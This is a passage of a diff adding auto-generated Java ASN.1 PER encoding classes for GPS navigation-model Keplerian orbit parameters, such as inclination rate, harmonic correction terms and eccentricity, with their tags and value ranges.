+ @Override public Asn1Object getComponentValue() {
+ return getNavIDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavIDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navIDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navIDot : "
+ + getNavIDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavAPowerHalf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavAPowerHalf();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavAPowerHalfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navAPowerHalfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navAPowerHalf : "
+ + getNavAPowerHalf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavI0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavI0();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavI0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navI0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navI0 : "
+ + getNavI0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavOmegaA0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavOmegaA0();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavOmegaA0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navOmegaA0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navOmegaA0 : "
+ + getNavOmegaA0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavCrs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavCrs();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavCrsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navCrsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navCrs : "
+ + getNavCrs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavCis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavCis();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavCisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navCisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navCis : "
+ + getNavCis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavCus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavCus();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavCusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navCusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navCus : "
+ + getNavCus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavCrc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavCrc();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavCrcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navCrcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navCrc : "
+ + getNavCrc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 16);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavCic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavCic();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavCicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navCicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navCic : "
+ + getNavCic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 17);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavCuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavCuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavCucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_NAVKeplerianSet.navCucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navCuc : "
+ + getNavCuc().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navURAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navURAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navURAType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navURAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navURAType != null) {
+ return ImmutableList.of(TAG_navURAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navURAType from encoded stream.
+ */
+ public static navURAType fromPerUnaligned(byte[] encodedBytes) {
+ navURAType result = new navURAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navURAType from encoded stream.
+ */
+ public static navURAType fromPerAligned(byte[] encodedBytes) {
+ navURAType result = new navURAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navURAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navFitFlagType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navFitFlagType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navFitFlagType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navFitFlagType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navFitFlagType != null) {
+ return ImmutableList.of(TAG_navFitFlagType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navFitFlagType from encoded stream.
+ */
+ public static navFitFlagType fromPerUnaligned(byte[] encodedBytes) {
+ navFitFlagType result = new navFitFlagType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navFitFlagType from encoded stream.
+ */
+ public static navFitFlagType fromPerAligned(byte[] encodedBytes) {
+ navFitFlagType result = new navFitFlagType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navFitFlagType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navToeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navToeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navToeType() {
+ super();
+ setValueRange("0", "37799");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navToeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navToeType != null) {
+ return ImmutableList.of(TAG_navToeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navToeType from encoded stream.
+ */
+ public static navToeType fromPerUnaligned(byte[] encodedBytes) {
+ navToeType result = new navToeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navToeType from encoded stream.
+ */
+ public static navToeType fromPerAligned(byte[] encodedBytes) {
+ navToeType result = new navToeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navToeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navOmegaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navOmegaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navOmegaType() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navOmegaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navOmegaType != null) {
+ return ImmutableList.of(TAG_navOmegaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navOmegaType from encoded stream.
+ */
+ public static navOmegaType fromPerUnaligned(byte[] encodedBytes) {
+ navOmegaType result = new navOmegaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navOmegaType from encoded stream.
+ */
+ public static navOmegaType fromPerAligned(byte[] encodedBytes) {
+ navOmegaType result = new navOmegaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navOmegaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navDeltaNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navDeltaNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navDeltaNType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navDeltaNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navDeltaNType != null) {
+ return ImmutableList.of(TAG_navDeltaNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navDeltaNType from encoded stream.
+ */
+ public static navDeltaNType fromPerUnaligned(byte[] encodedBytes) {
+ navDeltaNType result = new navDeltaNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navDeltaNType from encoded stream.
+ */
+ public static navDeltaNType fromPerAligned(byte[] encodedBytes) {
+ navDeltaNType result = new navDeltaNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navDeltaNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navM0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navM0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navM0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navM0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navM0Type != null) {
+ return ImmutableList.of(TAG_navM0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navM0Type from encoded stream.
+ */
+ public static navM0Type fromPerUnaligned(byte[] encodedBytes) {
+ navM0Type result = new navM0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navM0Type from encoded stream.
+ */
+ public static navM0Type fromPerAligned(byte[] encodedBytes) {
+ navM0Type result = new navM0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navM0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navOmegaADotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navOmegaADotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navOmegaADotType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navOmegaADotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navOmegaADotType != null) {
+ return ImmutableList.of(TAG_navOmegaADotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navOmegaADotType from encoded stream.
+ */
+ public static navOmegaADotType fromPerUnaligned(byte[] encodedBytes) {
+ navOmegaADotType result = new navOmegaADotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navOmegaADotType from encoded stream.
+ */
+ public static navOmegaADotType fromPerAligned(byte[] encodedBytes) {
+ navOmegaADotType result = new navOmegaADotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navOmegaADotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navEType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navEType != null) {
+ return ImmutableList.of(TAG_navEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navEType from encoded stream.
+ */
+ public static navEType fromPerUnaligned(byte[] encodedBytes) {
+ navEType result = new navEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navEType from encoded stream.
+ */
+ public static navEType fromPerAligned(byte[] encodedBytes) {
+ navEType result = new navEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navIDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navIDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navIDotType() {
+ super();
+ setValueRange("-8192", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navIDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navIDotType != null) {
+ return ImmutableList.of(TAG_navIDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navIDotType from encoded stream.
+ */
+ public static navIDotType fromPerUnaligned(byte[] encodedBytes) {
+ navIDotType result = new navIDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navIDotType from encoded stream.
+ */
+ public static navIDotType fromPerAligned(byte[] encodedBytes) {
+ navIDotType result = new navIDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navIDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navAPowerHalfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navAPowerHalfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navAPowerHalfType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navAPowerHalfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navAPowerHalfType != null) {
+ return ImmutableList.of(TAG_navAPowerHalfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navAPowerHalfType from encoded stream.
+ */
+ public static navAPowerHalfType fromPerUnaligned(byte[] encodedBytes) {
+ navAPowerHalfType result = new navAPowerHalfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navAPowerHalfType from encoded stream.
+ */
+ public static navAPowerHalfType fromPerAligned(byte[] encodedBytes) {
+ navAPowerHalfType result = new navAPowerHalfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navAPowerHalfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navI0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navI0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navI0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navI0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navI0Type != null) {
+ return ImmutableList.of(TAG_navI0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navI0Type from encoded stream.
+ */
+ public static navI0Type fromPerUnaligned(byte[] encodedBytes) {
+ navI0Type result = new navI0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navI0Type from encoded stream.
+ */
+ public static navI0Type fromPerAligned(byte[] encodedBytes) {
+ navI0Type result = new navI0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navI0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navOmegaA0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navOmegaA0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navOmegaA0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navOmegaA0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navOmegaA0Type != null) {
+ return ImmutableList.of(TAG_navOmegaA0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navOmegaA0Type from encoded stream.
+ */
+ public static navOmegaA0Type fromPerUnaligned(byte[] encodedBytes) {
+ navOmegaA0Type result = new navOmegaA0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navOmegaA0Type from encoded stream.
+ */
+ public static navOmegaA0Type fromPerAligned(byte[] encodedBytes) {
+ navOmegaA0Type result = new navOmegaA0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
